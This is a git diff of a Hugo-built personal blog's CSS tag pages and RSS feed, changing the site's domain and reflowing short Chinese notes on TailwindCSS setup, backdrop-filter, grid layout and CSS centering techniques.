class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>css</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用TailwindCSS</h2></header><div class=entry-content><p>TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的
 安装
 npm install tailwindcss
 初始化tailwind.config.js
 npx tailwindcss init
 在tailwind.config.js中content属性，表示着项目的html或者js文件
-content: [
-'./src/**/*.{html,js}'
-],
-如果没有配置content属性，会警告
+content: [ './src/**/*.{html,js}' ], 如果没有配置content属性，会警告
 warn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration
 创建一个css文件配置tailwind三大组件（base，components.utilities）
-@tailwind base;
-@tailwind components;
-@tailwind utilities;
-如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
-@import "tailwindcss/base";
-@import "tailwindcss/components";
-@import "tailwindcss/utilities";
-也可以将css导入到js中
-import "tailwindcss/tailwind.css"
-tailwind编译
-npx tailwindcss -i ./src/index.css -o ./dist/main.css...</p></div><footer class=entry-footer><span title='2022-01-27 12:00:00 +0000 UTC'>2022-01-27</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用TailwindCSS" href=https://xiaochenabc123.github.io/posts/130/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单利用backdrop-filter属性实现效果</h2></header><div class=entry-content><p>backdrop-filter是css原生的属性
+@tailwind base; @tailwind components; @tailwind utilities; 如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
+@import "tailwindcss/base"; @import "tailwindcss/components"; @import "tailwindcss/utilities"; 也可以将css导入到js中
+import "tailwindcss/tailwind.css" tailwind编译
+npx tailwindcss -i ./src/index.css -o ./dist/main.css...</p></div><footer class=entry-footer><span title='2022-01-27 12:00:00 +0000 UTC'>2022-01-27</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用TailwindCSS" href=https://chenjunlinabc.github.io/posts/130/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单利用backdrop-filter属性实现效果</h2></header><div class=entry-content><p>backdrop-filter是css原生的属性
 backdrop-filter的一些方法（用法和filter一样）
 blur：模糊 brightness：亮度 contrast：对比度 invert：反相 opacity：透明度 saturate：饱和度 drop-shadow：投影 grayscale：灰度 hue-rotate：色调变化 sepia：褐色
 简单实现一个毛玻璃背景效果，例如：
-&lt;style>
-*{
-margin: 0;
-padding: 0;
-}
-#app{
-width: 100%;
-height: 50rem;
-background-image: url("1.jpg");
-}
-#test{
-position: absolute;
-top: 0;
-left: 0;
-right: 0;
-bottom: 0;
-backdrop-filter: blur(10px);
-}
-.text{
-padding-top: 100px;
-text-align: center;
-}
-&lt;/style>
-&lt;div id="app">
-&lt;div id="test">
-&lt;p class="text">
-hallo word
-&lt;/p>
-&lt;/div>
-&lt;/div>
-backdrop-filter和filter区别：
+&lt;style> *{ margin: 0; padding: 0; } #app{ width: 100%; height: 50rem; background-image: url("1.jpg"); } #test{ position: absolute; top: 0; left: 0; right: 0; bottom: 0; backdrop-filter: blur(10px); } .text{ padding-top: 100px; text-align: center; } &lt;/style> &lt;div id="app"> &lt;div id="test"> &lt;p class="text"> hallo word &lt;/p> &lt;/div> &lt;/div> backdrop-filter和filter区别：
 filter是作用于当前元素（效果体现在本身，而不是背景），而且后代也会继承该属性
 backdrop-filter是作用于当前元素背后的所有元素，不会影响自己
-backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）</p></div><footer class=entry-footer><span title='2021-08-06 10:18:00 +0000 UTC'>2021-08-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单利用backdrop-filter属性实现效果" href=https://xiaochenabc123.github.io/posts/65/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Grid布局学习笔记</h2></header><div class=entry-content><p>grid 布局
+backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）</p></div><footer class=entry-footer><span title='2021-08-06 10:18:00 +0000 UTC'>2021-08-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单利用backdrop-filter属性实现效果" href=https://chenjunlinabc.github.io/posts/65/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Grid布局学习笔记</h2></header><div class=entry-content><p>grid 布局
 grid布局和flex布局类似，不过grid是最强大的css布局方式
 grid布局是网格布局
 display: grid; // 定义grid布局，默认为块级元素
@@ -75,7 +35,7 @@
 grid-template-rows: auto; // 由浏览器决定行高
 grid-template-columns: [a1] 100px [a2] 100px [a3] auto; // 方括号[]内的的值是用于指定网格的名称
 grid-template-columns: 20% 60% 20%; // 左栏20%，中间60%，右栏20%，如果是重复的值搭配repeat使用更佳
-grid-row-gap: 10px; // 行间距（行与行的距离）...</p></div><footer class=entry-footer><span title='2021-06-23 10:29:00 +0000 UTC'>2021-06-23</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Grid布局学习笔记" href=https://xiaochenabc123.github.io/posts/45/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>css的一些知识扩展</h2></header><div class=entry-content><p>box-sizing 盒类型
+grid-row-gap: 10px; // 行间距（行与行的距离）...</p></div><footer class=entry-footer><span title='2021-06-23 10:29:00 +0000 UTC'>2021-06-23</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Grid布局学习笔记" href=https://chenjunlinabc.github.io/posts/45/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>css的一些知识扩展</h2></header><div class=entry-content><p>box-sizing 盒类型
 该属性是告诉浏览器是以什么盒模型展示的
 IE用的是border-box
 计算方式是外边距+内边距+内容=宽度（高度）
@@ -111,48 +71,23 @@
 all为横跨所有列
 media 媒体查询
 媒体查询常用于响应式布局，为不同屏幕设置不同的样式
-@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置...</p></div><footer class=entry-footer><span title='2021-06-23 09:16:00 +0000 UTC'>2021-06-23</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css的一些知识扩展" href=https://xiaochenabc123.github.io/posts/44/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>css常见布局</h2></header><div class=entry-content><p>居中布局
+@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置...</p></div><footer class=entry-footer><span title='2021-06-23 09:16:00 +0000 UTC'>2021-06-23</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css的一些知识扩展" href=https://chenjunlinabc.github.io/posts/44/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>css常见布局</h2></header><div class=entry-content><p>居中布局
 分水平居中和垂直居中，水平+垂直居中
 水平居中：当前元素在父级元素容器中，水平方向是居中显示的
 inline-block+text-algin
-#app{
-text-align: center;
-// 父元素，文本内容居中对齐
-}
-.child{
-display: inline-block;
-// 子元素，行内块级元素
-}
-优点：浏览器兼容性好（css2）
+#app{ text-align: center; // 父元素，文本内容居中对齐 } .child{ display: inline-block; // 子元素，行内块级元素 } 优点：浏览器兼容性好（css2）
 缺点：text-align具有继承性，会导致子元素的文本也是居中的
 table+margin
-.child{
-display: table; // 也可以为block
-margin: 0 auto;
-// 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配）
-}
-优点：只需要对子元素设置，就可以实现效果
+.child{ display: table; // 也可以为block margin: 0 auto; // 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配） } 优点：只需要对子元素设置，就可以实现效果
 缺点：如果子元素脱离正常流，将会导致margin属性的值无效化
 absolute+transform
-#app{
-position: relative; // 父元素相对定位
-}
-.child{
-position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的
-left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数）
-}
-优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
+#app{ position: relative; // 父元素相对定位 } .child{ position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的 left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数） } 优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
 缺点：transform属性是css3的新属性，浏览器兼容性比较差
 垂直居中：当前元素在父级元素容器中，垂直方向是居中显示的
 table-cell+vertical-algin
-#app{
-// 父元素
-display: table-cell;
-vertical-align: middle; // 设置文本的垂直方向对齐方式
-}
-优点：浏览器兼容性好
+#app{ // 父元素 display: table-cell; vertical-align: middle; // 设置文本的垂直方向对齐方式 } 优点：浏览器兼容性好
 缺点：vertical-align属性具有继承性
-absolute+transform...</p></div><footer class=entry-footer><span title='2021-06-16 13:23:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css常见布局" href=https://xiaochenabc123.github.io/posts/24/></a></article><footer class=page-footer><nav class=pagination><a class=next href=https://xiaochenabc123.github.io/tags/css/page/2/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+absolute+transform...</p></div><footer class=entry-footer><span title='2021-06-16 13:23:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css常见布局" href=https://chenjunlinabc.github.io/posts/24/></a></article><footer class=page-footer><nav class=pagination><a class=next href=https://chenjunlinabc.github.io/tags/css/page/2/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/css/index.xml b/tags/css/index.xml
index eaa87e15..0d306f77 100644
--- a/tags/css/index.xml
+++ b/tags/css/index.xml
@@ -2,48 +2,48 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>css on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/css/</link>
+    <link>https://chenjunlinabc.github.io/tags/css/</link>
     <description>Recent content in css on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Thu, 27 Jan 2022 12:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/css/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Thu, 27 Jan 2022 12:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/css/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用TailwindCSS</title>
-      <link>https://xiaochenabc123.github.io/posts/130/</link>
+      <link>https://chenjunlinabc.github.io/posts/130/</link>
       <pubDate>Thu, 27 Jan 2022 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/130/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/130/</guid>
       <description>TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的
 安装
 npm install tailwindcss
 初始化tailwind.config.js
 npx tailwindcss init
 在tailwind.config.js中content属性，表示着项目的html或者js文件
-content: [
&#39;./src/**/*.{html,js}&#39;
],
如果没有配置content属性，会警告
+content: [ &#39;./src/**/*.{html,js}&#39; ], 如果没有配置content属性，会警告
 warn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration
 创建一个css文件配置tailwind三大组件（base，components.utilities）
-@tailwind base;
@tailwind components;
@tailwind utilities;
如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
-@import &amp;quot;tailwindcss/base&amp;quot;;
@import &amp;quot;tailwindcss/components&amp;quot;;
@import &amp;quot;tailwindcss/utilities&amp;quot;;
也可以将css导入到js中
-import &amp;quot;tailwindcss/tailwind.css&amp;quot;
tailwind编译
+@tailwind base; @tailwind components; @tailwind utilities; 如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
+@import &amp;quot;tailwindcss/base&amp;quot;; @import &amp;quot;tailwindcss/components&amp;quot;; @import &amp;quot;tailwindcss/utilities&amp;quot;; 也可以将css导入到js中
+import &amp;quot;tailwindcss/tailwind.css&amp;quot; tailwind编译
 npx tailwindcss -i ./src/index.css -o ./dist/main.css</description>
     </item>
     
     <item>
       <title>简单利用backdrop-filter属性实现效果</title>
-      <link>https://xiaochenabc123.github.io/posts/65/</link>
+      <link>https://chenjunlinabc.github.io/posts/65/</link>
       <pubDate>Fri, 06 Aug 2021 10:18:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/65/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/65/</guid>
       <description>backdrop-filter是css原生的属性
 backdrop-filter的一些方法（用法和filter一样）
 blur：模糊 brightness：亮度 contrast：对比度 invert：反相 opacity：透明度 saturate：饱和度 drop-shadow：投影 grayscale：灰度 hue-rotate：色调变化 sepia：褐色
 简单实现一个毛玻璃背景效果，例如：
-&amp;lt;style&amp;gt;
*{
margin: 0;
padding: 0;
}
#app{
width: 100%;
height: 50rem;
background-image: url(&amp;quot;1.jpg&amp;quot;);
}
#test{
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
backdrop-filter: blur(10px);
}
.text{
padding-top: 100px;
text-align: center;
}
&amp;lt;/style&amp;gt;
&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;
&amp;lt;div id=&amp;quot;test&amp;quot;&amp;gt;
&amp;lt;p class=&amp;quot;text&amp;quot;&amp;gt;
hallo word
&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
backdrop-filter和filter区别：
+&amp;lt;style&amp;gt; *{ margin: 0; padding: 0; } #app{ width: 100%; height: 50rem; background-image: url(&amp;quot;1.jpg&amp;quot;); } #test{ position: absolute; top: 0; left: 0; right: 0; bottom: 0; backdrop-filter: blur(10px); } .text{ padding-top: 100px; text-align: center; } &amp;lt;/style&amp;gt; &amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt; &amp;lt;div id=&amp;quot;test&amp;quot;&amp;gt; &amp;lt;p class=&amp;quot;text&amp;quot;&amp;gt; hallo word &amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; backdrop-filter和filter区别：
 filter是作用于当前元素（效果体现在本身，而不是背景），而且后代也会继承该属性
 backdrop-filter是作用于当前元素背后的所有元素，不会影响自己
 backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）</description>
@@ -51,10 +51,10 @@ backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火
     
     <item>
       <title>Grid布局学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/45/</link>
+      <link>https://chenjunlinabc.github.io/posts/45/</link>
       <pubDate>Wed, 23 Jun 2021 10:29:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/45/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/45/</guid>
       <description>grid 布局
 grid布局和flex布局类似，不过grid是最强大的css布局方式
 grid布局是网格布局
@@ -78,10 +78,10 @@ grid-row-gap: 10px; // 行间距（行与行的距离）</description>
     
     <item>
       <title>css的一些知识扩展</title>
-      <link>https://xiaochenabc123.github.io/posts/44/</link>
+      <link>https://chenjunlinabc.github.io/posts/44/</link>
       <pubDate>Wed, 23 Jun 2021 09:16:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/44/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/44/</guid>
       <description>box-sizing 盒类型
 该属性是告诉浏览器是以什么盒模型展示的
 IE用的是border-box
@@ -123,35 +123,35 @@ media 媒体查询
     
     <item>
       <title>css常见布局</title>
-      <link>https://xiaochenabc123.github.io/posts/24/</link>
+      <link>https://chenjunlinabc.github.io/posts/24/</link>
       <pubDate>Wed, 16 Jun 2021 13:23:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/24/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/24/</guid>
       <description>居中布局
 分水平居中和垂直居中，水平+垂直居中
 水平居中：当前元素在父级元素容器中，水平方向是居中显示的
 inline-block+text-algin
-#app{
text-align: center;
// 父元素，文本内容居中对齐
}
.child{
display: inline-block;
// 子元素，行内块级元素
}
优点：浏览器兼容性好（css2）
+#app{ text-align: center; // 父元素，文本内容居中对齐 } .child{ display: inline-block; // 子元素，行内块级元素 } 优点：浏览器兼容性好（css2）
 缺点：text-align具有继承性，会导致子元素的文本也是居中的
 table+margin
-.child{
display: table; // 也可以为block
margin: 0 auto;
// 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配）
}
优点：只需要对子元素设置，就可以实现效果
+.child{ display: table; // 也可以为block margin: 0 auto; // 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配） } 优点：只需要对子元素设置，就可以实现效果
 缺点：如果子元素脱离正常流，将会导致margin属性的值无效化
 absolute+transform
-#app{
position: relative; // 父元素相对定位
}
.child{
position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的
left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数）
}
优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
+#app{ position: relative; // 父元素相对定位 } .child{ position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的 left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数） } 优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
 缺点：transform属性是css3的新属性，浏览器兼容性比较差
 垂直居中：当前元素在父级元素容器中，垂直方向是居中显示的
 table-cell+vertical-algin
-#app{
// 父元素
display: table-cell;
vertical-align: middle; // 设置文本的垂直方向对齐方式
}
优点：浏览器兼容性好
+#app{ // 父元素 display: table-cell; vertical-align: middle; // 设置文本的垂直方向对齐方式 } 优点：浏览器兼容性好
 缺点：vertical-align属性具有继承性
 absolute+transform</description>
     </item>
     
     <item>
       <title>css3学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/11/</link>
+      <link>https://chenjunlinabc.github.io/posts/11/</link>
       <pubDate>Wed, 16 Jun 2021 09:21:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/11/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/11/</guid>
       <description>盒子模型
 盒模型在css中是用来封装html元素的，因为本质上来看像个盒子一样，所以叫盒模型或者盒子模型，术语叫box model
 外边距（margin）：一般用于控制同辈元素之间的间距
@@ -159,7 +159,7 @@ absolute+transform</description>
 内边距（padding）：内边框是用于控制内容的距离
 内容（content）：内容，一般为文本和图像
 例子：建立一个宽度为100px，10px的内边距，10px的外边距，10px的红色边框的盒子
-div{
width: 100px;
borde: 10px solid red;
padding: 10px;
margin: 10px;
}
top，bottom，left，right分别代表了上，下，左，右
+div{ width: 100px; borde: 10px solid red; padding: 10px; margin: 10px; } top，bottom，left，right分别代表了上，下，左，右
 或者padding: 上，右，下，左，只有一个数字就表示上，下，左，右都是这个数值
 有两个数值就是分别代表上下和左右，有三个数值表示上和左右和下
 这个盒子大小应该是内容的宽度+内边距+边框+外边距
@@ -191,10 +191,10 @@ BFC的特性：</description>
     
     <item>
       <title>简单解决文本溢出问题</title>
-      <link>https://xiaochenabc123.github.io/posts/6/</link>
+      <link>https://chenjunlinabc.github.io/posts/6/</link>
       <pubDate>Wed, 16 Jun 2021 08:40:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/6/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/6/</guid>
       <description>当文本宽度超过容器的宽度那么将导致溢出
 使用text-overflow属性会修剪文本导致文本显示不全
 这里使用的方法是word-break: break-all+white-space: pre-wrap
diff --git a/tags/css/page/1/index.html b/tags/css/page/1/index.html
index cb51e9eb..8de55614 100644
--- a/tags/css/page/1/index.html
+++ b/tags/css/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/css/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/css/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/css/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/css/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/css/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/css/"></head></html>
\ No newline at end of file
diff --git a/tags/css/page/2/index.html b/tags/css/page/2/index.html
index bef032b1..5f072fe8 100644
--- a/tags/css/page/2/index.html
+++ b/tags/css/page/2/index.html
@@ -1,17 +1,11 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>css | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/css/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/css/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="css"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/css/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="css"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>css</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>css3学习笔记</h2></header><div class=entry-content><p>盒子模型
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>css | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/css/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 